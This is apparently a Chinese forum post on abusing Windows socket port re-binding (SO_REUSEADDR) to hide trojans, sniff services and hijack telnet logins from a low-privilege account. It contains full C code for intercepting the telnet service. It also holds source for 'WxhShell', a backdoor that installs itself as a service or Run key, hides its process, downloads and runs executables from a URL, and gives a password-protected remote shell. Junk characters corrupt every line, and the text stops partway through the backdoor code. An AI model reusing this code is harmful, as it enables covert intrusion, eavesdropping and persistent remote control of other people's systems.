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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vr6MU<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V!lZ\)  
sejg&8  
  saddr.sin_family = AF_INET; #~7ip\Uf[  
cki81bOT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2 lj'"nm  
4)@mSSfn.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); MUTj-1H6)  
t=Xv;=daB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0w)^)  
~$)2s7 O  
  这意味着什么?意味着可以进行如下的攻击: _a6[{_Pc  
+89*)pk   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :-/M?,Q"  
8,C*4y~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2w["aVr =  
jz qyk^X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ldiD2 Q  
D|e uX7b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nm6h%}xND<  
j@SQ~AS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U)E(`{p]  
!HnXXVW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /atW8 `&  
[co% :xJu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f33l$pOp  
gBC@38|6)  
  #include ?QFpv #4  
  #include cc~O&?)i  
  #include ioYGZ%RG#  
  #include    hw= Ft4L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2E}*v5b,  
  int main() ;[M}MFc/`  
  { umt.Um.m2  
  WORD wVersionRequested; "nw;NIp!  
  DWORD ret; X]wRwG  
  WSADATA wsaData; &6ZD136  
  BOOL val; |}(`kW  
  SOCKADDR_IN saddr; 7?GIS '  
  SOCKADDR_IN scaddr; P:k>aHnW  
  int err; #~C]ZrK  
  SOCKET s; $Zug Bh[b  
  SOCKET sc; {<R2UI5m5  
  int caddsize; d$ x"/A]<  
  HANDLE mt; B9NWW6S  
  DWORD tid;   =;2%a(  
  wVersionRequested = MAKEWORD( 2, 2 ); eHn7iuS8  
  err = WSAStartup( wVersionRequested, &wsaData ); VGpWg rmHk  
  if ( err != 0 ) { gcdlT7F)b-  
  printf("error!WSAStartup failed!\n"); y5 *Z 3"<  
  return -1; h*w%jdQ6  
  } l5Gq|!2yxD  
  saddr.sin_family = AF_INET; amOnqH-(  
   c'%-jG)\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `(_s|-$  
.Le?T&_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /OLFcxEWh  
  saddr.sin_port = htons(23); ca7=V/i_a{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ju96#v+:  
  { /aZ+T5O  
  printf("error!socket failed!\n"); Y }$/e  
  return -1; a yCY~=i  
  } pTPi@SBaP{  
  val = TRUE; JBE!j-F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YQHw1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b:l P%|7  
  { iOU6V  
  printf("error!setsockopt failed!\n"); j|U#)v/  
  return -1; r'^Hg/Jzt  
  } zsX1QN16  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FbS|~Rp~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gtk7)Uh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^p[rc@+  
]P.'>4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8u6:=fxb  
  { x3 q]I8q  
  ret=GetLastError(); mRL"nC  
  printf("error!bind failed!\n"); 2NC.Z;  
  return -1; [@J/eWB  
  } QZ6D7t Uc8  
  listen(s,2); l_o@miG/  
  while(1) GFeQ%l`7F  
  { +S>j0m<*  
  caddsize = sizeof(scaddr); +x0!*3q  
  //接受连接请求 fI&t]   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )wC?T  
  if(sc!=INVALID_SOCKET) Fv~20G (O  
  { ,K)_OVB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l`oZ) ?ur  
  if(mt==NULL) ii T"5`KY  
  { lAb*fafQy  
  printf("Thread Creat Failed!\n"); vHyC;4'  
  break; (;T^8mI2  
  } &e @2  
  } 1S{D6#bE  
  CloseHandle(mt);  gbF+WE  
  } T|nDTezr  
  closesocket(s); Xe$I7iKD  
  WSACleanup(); [@VP?74  
  return 0; 1oR7iD^  
  }   K"|l@Q[  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4!Fo$9  
  { wPQH(~k:  
  SOCKET ss = (SOCKET)lpParam; 7j@Hs[ *  
  SOCKET sc; ~IYUuWF(  
  unsigned char buf[4096]; q]T1dz?  
  SOCKADDR_IN saddr; VCV"S>aVf  
  long num; J1( 9QN[w  
  DWORD val; dBYmiF!+  
  DWORD ret; |XQIfW]A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C'9Cr}cZ.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~ksi</s  
  saddr.sin_family = AF_INET; dq(uVW^&ae  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .YhA@8nc~l  
  saddr.sin_port = htons(23); s^Y"'`+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '~5LY!H(pT  
  { m8A#~i .  
  printf("error!socket failed!\n"); PQy4{0 _  
  return -1; Lt u'W22  
  } }tRm]w  
  val = 100; s2h@~y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uZNTHD  
  { v[ . cd*b  
  ret = GetLastError(); [$mHv,~  
  return -1; " un]Gc   
  } l{5IUuUi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2M.fLQ?  
  { |?!~{-o  
  ret = GetLastError(); &*##bA"!B  
  return -1; p)`{Sos  
  } {x|[p_?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?:vv50  
  { 6c}h(TkB  
  printf("error!socket connect failed!\n"); bp* ^z,w  
  closesocket(sc); G? ])o5  
  closesocket(ss); 52%2R]G!  
  return -1; I4'5P}1yp  
  } hpHr\g  
  while(1) ^NRl//  
  { . k#U]M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %aHB"vi6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )Q=_0;#;k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B;M?,<%FRU  
  num = recv(ss,buf,4096,0); ),0g~'I~D  
  if(num>0) %P<hW+P!  
  send(sc,buf,num,0); ? E1<!~  
  else if(num==0) 3_ r*y9l  
  break; v_<rNc,z-s  
  num = recv(sc,buf,4096,0); ?iw!OoZ`  
  if(num>0) #H)vK"hF  
  send(ss,buf,num,0); @'w"R/,n-@  
  else if(num==0) !02`t4Zc-  
  break; wrc,b{{[iM  
  } (]Z_UTT  
  closesocket(ss); hB "fhX  
  closesocket(sc); S ^"y4- 2  
  return 0 ; F0pir(n-  
  } jfP*"uUK  
 .t{MIC  
8LyD7P 1\  
========================================================== a+[RS]le  
DH[p\Wy'  
下边附上一个代码,,WXhSHELL :nh_k4S@v  
7TgOK   
========================================================== "fQ~uzg="  
VEH&&@d  
#include "stdafx.h" .?D7dyU l1  
X@'u y<tI-  
#include <stdio.h> q2/pNV#  
#include <string.h> spGb!Y`mR  
#include <windows.h> s28`OKC}  
#include <winsock2.h> dV*]f$wQ  
#include <winsvc.h> tnV/xk#!  
#include <urlmon.h> H7?Vybg~  
NiNM{[3oS  
#pragma comment (lib, "Ws2_32.lib") c%^7!FSg  
#pragma comment (lib, "urlmon.lib") cW~}:;D4  
|+"<wEKI  
#define MAX_USER   100 // 最大客户端连接数 I.WvLLK2  
#define BUF_SOCK   200 // sock buffer cCSs  
#define KEY_BUFF   255 // 输入 buffer  H_B4  
O#n8=B4  
#define REBOOT     0   // 重启 Yab%/z2:  
#define SHUTDOWN   1   // 关机 <>n0arAn  
:<ka3<0%  
#define DEF_PORT   5000 // 监听端口 A|CmlAW~^  
5 z~1Dw  
#define REG_LEN     16   // 注册表键长度 N@;?CKU  
#define SVC_LEN     80   // NT服务名长度 T!-\@PB !  
:lX!\(E2  
// 从dll定义API 9V'%<pk''(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a:+{f&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bo<~jb{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ftI*ni:<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >lmi@UN|k  
IW)()*8;/  
// wxhshell配置信息 Gn22<C/  
struct WSCFG { g6W)4cC8a  
  int ws_port;         // 监听端口 }xKP~h'F  
  char ws_passstr[REG_LEN]; // 口令 Q;MT"=RW  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7wWFr  
  char ws_regname[REG_LEN]; // 注册表键名 =AsEZ)" _  
  char ws_svcname[REG_LEN]; // 服务名 osciZ'~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TSA,WP\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :fKl]XO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,V'o4]H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jy7\+i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DDvh4<Hk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m9)p-1y@5  
Z<U6<{b  
}; ~)*,S^k(C.  
|o,YCzy|5  
// default Wxhshell configuration Twh!X*uQ  
struct WSCFG wscfg={DEF_PORT, yhlFFbU  
    "xuhuanlingzhe", "-y-iJ  
    1, K7$x<5+)  
    "Wxhshell", X#d~zk[r2  
    "Wxhshell", .R`5 Qds*l  
            "WxhShell Service", &6DMk-  
    "Wrsky Windows CmdShell Service", <CRP ^_c  
    "Please Input Your Password: ", D@C-5rmq  
  1, -HQQw$  
  "http://www.wrsky.com/wxhshell.exe", | H!28h  
  "Wxhshell.exe" w'L\?pI  
    }; 832v"k CD  
})uGRvz  
// 消息定义模块 7}1~%:6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :d3bt~b'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >O1[:%Z1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qg^cf<X{i  
char *msg_ws_ext="\n\rExit."; /`9sPR6e  
char *msg_ws_end="\n\rQuit."; aF8fqu\  
char *msg_ws_boot="\n\rReboot..."; SH3|sXH<  
char *msg_ws_poff="\n\rShutdown..."; ^<;V]cY`  
char *msg_ws_down="\n\rSave to "; h1:aKm!  
b`L%t:u{d  
char *msg_ws_err="\n\rErr!"; $`APHjijN  
char *msg_ws_ok="\n\rOK!"; Z.d 7U~_  
jQk*8   
char ExeFile[MAX_PATH]; f @8mS    
int nUser = 0; ttXXy3G#  
HANDLE handles[MAX_USER]; &lR 6sb\  
int OsIsNt; "mX\&%i6\p  
ag$Vgl  
SERVICE_STATUS       serviceStatus; cQG +$0(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h H <J,Wn  
rxr{/8%f%  
// 函数声明 Q=BZ N]g2  
int Install(void); m7&O9?X  
int Uninstall(void); -<Hu!V`+  
int DownloadFile(char *sURL, SOCKET wsh); [qdRUV'  
int Boot(int flag); CQZgMY1{  
void HideProc(void); J~%K_~Li  
int GetOsVer(void); jxiC Kx,G  
int Wxhshell(SOCKET wsl); ktK_e  
void TalkWithClient(void *cs); fKp#\tCc y  
int CmdShell(SOCKET sock); f?oa"   
int StartFromService(void); ;`l'2 z@N  
int StartWxhshell(LPSTR lpCmdLine); "~=mG--I  
Ib|Rf;J~-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q s.pGi0W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DvPlV q~  
H(2!1?N+  
// 数据结构和表定义 a UxGzMZ  
SERVICE_TABLE_ENTRY DispatchTable[] = V<D.sd<  
{ MepuIh  
{wscfg.ws_svcname, NTServiceMain}, eFBeJZuE|  
{NULL, NULL} V~S0hqW[  
}; ]V-W~r=  
\I["2C]3M  
// 自我安装 l_EM8pL,f  
int Install(void) jAy^J(+  
{ YhbZ'SJ  
  char svExeFile[MAX_PATH]; v.Q(v\KV5  
  HKEY key; Ob}?zl@  
  strcpy(svExeFile,ExeFile); N+LL@[  
%@;6^=  
// 如果是win9x系统,修改注册表设为自启动 `Q+ (LBP  
if(!OsIsNt) { 61/.K_%I.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u\LiSGePN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {g2@6ct  
  RegCloseKey(key); umF Z?a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YFE&r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); af#pR&4}   
  RegCloseKey(key); O=v#{ [  
  return 0; `6 /$M!4$  
    } L f"i !  
  } fGw^:,B  
} X/z6"*(|/  
else { UbEb&9}  
T<JwD[ (  
// 如果是NT以上系统,安装为系统服务 HS{(v;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AS E91T~  
if (schSCManager!=0) *<E]E?  
{ psnTFe  
  SC_HANDLE schService = CreateService G P:FSprP  
  ( 7M<'ddAN  
  schSCManager, D?C)BcN  
  wscfg.ws_svcname, Z|_K6v/c  
  wscfg.ws_svcdisp, : p{+G  
  SERVICE_ALL_ACCESS, Ma'_e=+A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CT KG9 T  
  SERVICE_AUTO_START, NE/m-ILw  
  SERVICE_ERROR_NORMAL, #6AFdNy  
  svExeFile, R+nMy=I%8  
  NULL, p8kr/uMP ;  
  NULL, s@z}YH  
  NULL, Xcrk;!IB?  
  NULL, ;w6>"O$a  
  NULL e'*`.^  
  ); +2K:qvzZ  
  if (schService!=0) N[<H7_/3  
  { cTXri8K_  
  CloseServiceHandle(schService); Rw6; Z  
  CloseServiceHandle(schSCManager); iT;@bp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %&->%U|'  
  strcat(svExeFile,wscfg.ws_svcname); v1|Bf8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yfj K2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JOb*-q|y  
  RegCloseKey(key); *?z0$Kz<,[  
  return 0; >_c5r?]SG  
    } Iq#ZhAk  
  } |\dZ'   
  CloseServiceHandle(schSCManager); }R)=S_j  
} SG?Nsp^%`B  
} kdxz!  
?_oF:*~\  
return 1; CW)Z[<d8  
} &O)&k  
/wxE1][.  
// 自我卸载 yMZHUd  
int Uninstall(void) nLwiCf e  
{ B d^"=+c4  
  HKEY key; X*g(q0N<S  
C@Nv;;AlU  
if(!OsIsNt) { 8 F2|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lQ*eH10H  
  RegDeleteValue(key,wscfg.ws_regname); 2H[)1|]l  
  RegCloseKey(key); ^[-> )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <%bw/  
  RegDeleteValue(key,wscfg.ws_regname); *+lsZ8'^C  
  RegCloseKey(key); 6~5$s1Yc  
  return 0; 3vJ12=  
  } O|v (5 8A  
} tLX,+P2|  
} ;R[&pDx  
else { FMu!z  
PDw{R]V+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R Td^ImV  
if (schSCManager!=0) EIX\O6*  
{ @?2n]n6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _|n=cC4Qu  
  if (schService!=0) [}""@?  
  { T$b\Q  
  if(DeleteService(schService)!=0) { d$1 #<-yP  
  CloseServiceHandle(schService); 3-Y=EH_0  
  CloseServiceHandle(schSCManager); sp8[cO=  
  return 0; IUhp;iH  
  } 9[>Lp9l'  
  CloseServiceHandle(schService); Y"> 4Qx4W  
  } Uu2N9.5  
  CloseServiceHandle(schSCManager); jmW^`%;7  
} kMe@+ysL  
} ^!@*P,'I  
pv$tTWk  
return 1; 5upShtC  
} J%r7<y\  
ABWb>EZ8  
// 从指定url下载文件 P06 . 1  
int DownloadFile(char *sURL, SOCKET wsh) \|{*arS  
{ :c;_a-69  
  HRESULT hr; 5!:._TcO  
char seps[]= "/"; di_gWE  
char *token; 8*k oxS  
char *file; QV)}3pW  
char myURL[MAX_PATH]; FrR9{YTA .  
char myFILE[MAX_PATH]; M'|)dM|  
e 2*F;.)  
strcpy(myURL,sURL); T+W3_xISX  
  token=strtok(myURL,seps); ]S]"`;Wh  
  while(token!=NULL) ;E2kT GT  
  { K50t%yu#T]  
    file=token; E8;TLk4\  
  token=strtok(NULL,seps); ho|  8U  
  } v|y<_Ya  
) :}Fu  
GetCurrentDirectory(MAX_PATH,myFILE); ,# iZS&  
strcat(myFILE, "\\"); 49y *xMn  
strcat(myFILE, file); 9C1b^^Kb  
  send(wsh,myFILE,strlen(myFILE),0); E~69^ cd  
send(wsh,"...",3,0); 4 f3=`[%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 67ZYtA|t  
  if(hr==S_OK) <!hpfTz*  
return 0; g(aNyn  
else P[1m0!,B  
return 1; oEPNN'~3  
/\TlO.B=  
} G#g{3}dcK  
${CYDD"mdy  
// 系统电源模块 HD~jU>}}  
int Boot(int flag) S].Ft/+H  
{ &Ky3Jb<:Gt  
  HANDLE hToken; l92!2$]b  
  TOKEN_PRIVILEGES tkp; t3Qm-J}wSB  
3P3:F2S R  
  if(OsIsNt) { zv|M*Wu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Skr iX\p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D'85VZEFyo  
    tkp.PrivilegeCount = 1; +H?<}N*T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `6n!$Cxo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &l?N:(r  
if(flag==REBOOT) { 3[,wMy"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ''%;EW>  
  return 0; L F8Pb;I  
} } =xI3;7  
else { %e(9-M4*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d~vTD|Et  
  return 0; 91U^o8y  
} v hR twi  
  } u~ Vs wXc4  
  else { ;K>{_k f  
if(flag==REBOOT) { 3^j~~ "2,w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %GNUnr$  
  return 0; -MQZiq7H4  
} /0Rt+`  
else { :,urb*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zj:a-=  
  return 0; Wk0>1 rlu  
} H-;&xzAI  
} Bm65 W  
7W6eiUI'  
return 1; u-8X$aJ  
} XhQw+j~1.  
bnA T,v{  
// win9x进程隐藏模块 ?"5~Wwp.T  
void HideProc(void) jc${.?m  
{ L"Qh_+   
L$oia)%t-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bbE bf !E  
  if ( hKernel != NULL ) # Nu%]  
  { iSSc5ek4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e6tH/`Uln  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?/o2#iJx  
    FreeLibrary(hKernel); ORV}j, Ym  
  } }:,o Y<  
N#<zEAB  
return; 0A) Vtj$  
} */0vJz%<.M  
d,GtH)(s  
// 获取操作系统版本 4jC4X*  
int GetOsVer(void) ` <l/GwtAJ  
{ f:x9Y{Y  
  OSVERSIONINFO winfo; o(Ua",|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M<SbVP|V "  
  GetVersionEx(&winfo); PK:o}IWn~x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C8bGae(  
  return 1; (T>?8 K _d  
  else Gvt;Q,hH  
  return 0; BCj`WF@8l{  
} IGh !d?D  
>|UrxJ7  
// 客户端句柄模块 Y|GJp h  
int Wxhshell(SOCKET wsl) Mp^OL7p^^  
{ \-$b o=s.  
  SOCKET wsh; m>Yo 9/XpZ  
  struct sockaddr_in client; L|C1C cP  
  DWORD myID; $'J6#Vs  
okK/i  
  while(nUser<MAX_USER)  K$37}S5  
{ QoT3;<r}  
  int nSize=sizeof(client); E1U4v&P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6)uPM"cO  
  if(wsh==INVALID_SOCKET) return 1; ?d>P+).  
xzMeKC `  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2 0Cie q  
if(handles[nUser]==0) g "K#&  
  closesocket(wsh); cKi^C  
else Y^94iOk%T  
  nUser++; JA SR  
  } 'Ec:l(2Ec  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7 BnenHD  
.%J?T5D  
  return 0; $$bTd3N+  
} E1{:z"  
;mo\ yW1  
// 关闭 socket 5Sm5jRr  
void CloseIt(SOCKET wsh)  ^ :  
{ Bp$+ F/  
closesocket(wsh); *1o+o$hY2  
nUser--; 5E\<r /FeJ  
ExitThread(0); R+kZLOE  
} JK:mQ_  
9pl_V WrQ  
// 客户端请求句柄 d=4f`q0k  
void TalkWithClient(void *cs) Vk N[=0a,  
{ cyHak u+  
/_VRO9R\V  
  SOCKET wsh=(SOCKET)cs; {!{7zM%u0C  
  char pwd[SVC_LEN]; $cJN9|$6  
  char cmd[KEY_BUFF]; eMm~7\ R  
char chr[1]; OnPy8mC  
int i,j; w /W Cj4`  
F~Z 0  
  while (nUser < MAX_USER) { 4MtqQq4%  
$*v20  
if(wscfg.ws_passstr) { 1{Alj27  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _iboTcUF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "$E!_  
  //ZeroMemory(pwd,KEY_BUFF); O[hbu![  
      i=0; ]tdo&  
  while(i<SVC_LEN) { DKVt8/vq  
.e _D3Xp<  
  // 设置超时 L(1,W<kYg  
  fd_set FdRead; Rvz.ym:F  
  struct timeval TimeOut; = C'e1=]  
  FD_ZERO(&FdRead); MZP><Je&  
  FD_SET(wsh,&FdRead); v20I<!5w  
  TimeOut.tv_sec=8; X+gz+V/  
  TimeOut.tv_usec=0; Bbt8fJA~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d Xo'#.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2gD{Fgf@N  
0rm;)[SjF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |phWK^   
  pwd=chr[0]; kN9sug^  
  if(chr[0]==0xd || chr[0]==0xa) { s-N?Tzi  
  pwd=0; ^n45N&916  
  break; i{FC1tVeL_  
  } ge {4;,0=  
  i++; _g`0td>N  
    } @x F8' [<  
\IZ4( Z  
  // 如果是非法用户,关闭 socket q'V{vFfY%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8rG&CxI  
} +#I~#CV!  
'5,,XhP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5B.??;xtaV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 645C]l  
wY ;8UN  
while(1) { PKM$*_LcGI  
+@)$l+kk9  
  ZeroMemory(cmd,KEY_BUFF); OO wA{]gK  
T17LYHIT  
      // 自动支持客户端 telnet标准   &'yV:g3H  
  j=0; pvR& ~g  
  while(j<KEY_BUFF) { *,[=}v1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !6/IKh`J  
  cmd[j]=chr[0]; Y 6Qb_X:  
  if(chr[0]==0xa || chr[0]==0xd) { >T*g'954xF  
  cmd[j]=0; Q|<?$.FN"8  
  break; e/Oj T  
  } c3!|h1h/v  
  j++; DPxu3,Y  
    } 8v=47G  
Z%9^6kdY  
  // 下载文件 OK J%M]<  
  if(strstr(cmd,"http://")) { H$z+gbjJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h-rj  
  if(DownloadFile(cmd,wsh)) ;F(01  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h%^kA@3F  
  else U?ic$J]N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kGqf@ I+  
  } U(]5U^  
  else { eC`f8=V  
r= | |sZs  
    switch(cmd[0]) { %1 ^jd\  
  842+KLS  
  // 帮助 hJ*E"{xs  
  case '?': { 1V3J:W#;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KJC9^BAr  
    break; ?HyioLO  
  } HPdwx V  
  // 安装 ~JPzjE  
  case 'i': { =pOY+S|  
    if(Install()) YY<?w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cRr `r[t  
    else 0a%ui2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h GXD u;{  
    break; }UdqX1jz  
    } W}_}<rlF  
  // 卸载 K$5P_~;QL  
  case 'r': { 3&Rqz9W  
    if(Uninstall()) jeFl+K'1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ A|*]0,  
    else 1O7ss_E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3A}8?  
    break; T2;  9  
    } "FIx^  
  // 显示 wxhshell 所在路径 =F[,-B~  
  case 'p': { {o<p{q  
    char svExeFile[MAX_PATH]; j5GZ;d?  
    strcpy(svExeFile,"\n\r"); 9d}nyJ  
      strcat(svExeFile,ExeFile); 6yM dl~.  
        send(wsh,svExeFile,strlen(svExeFile),0); @}!$NI8  
    break; 9cj-v}5j  
    } *)D*iU&  
  // 重启 B9:0|i!!A`  
  case 'b': { *bSG48W("  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rO%+)M$A  
    if(Boot(REBOOT)) Jz0S2&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Dq51  
    else { i~L7h=__  
    closesocket(wsh); K!gFD  
    ExitThread(0); Y,\mrW}K   
    } :/l   
    break; g(H3arb&  
    } e"/X*xA  
  // 关机 a8aqcDs>O  
  case 'd': { R\amcQ 9  
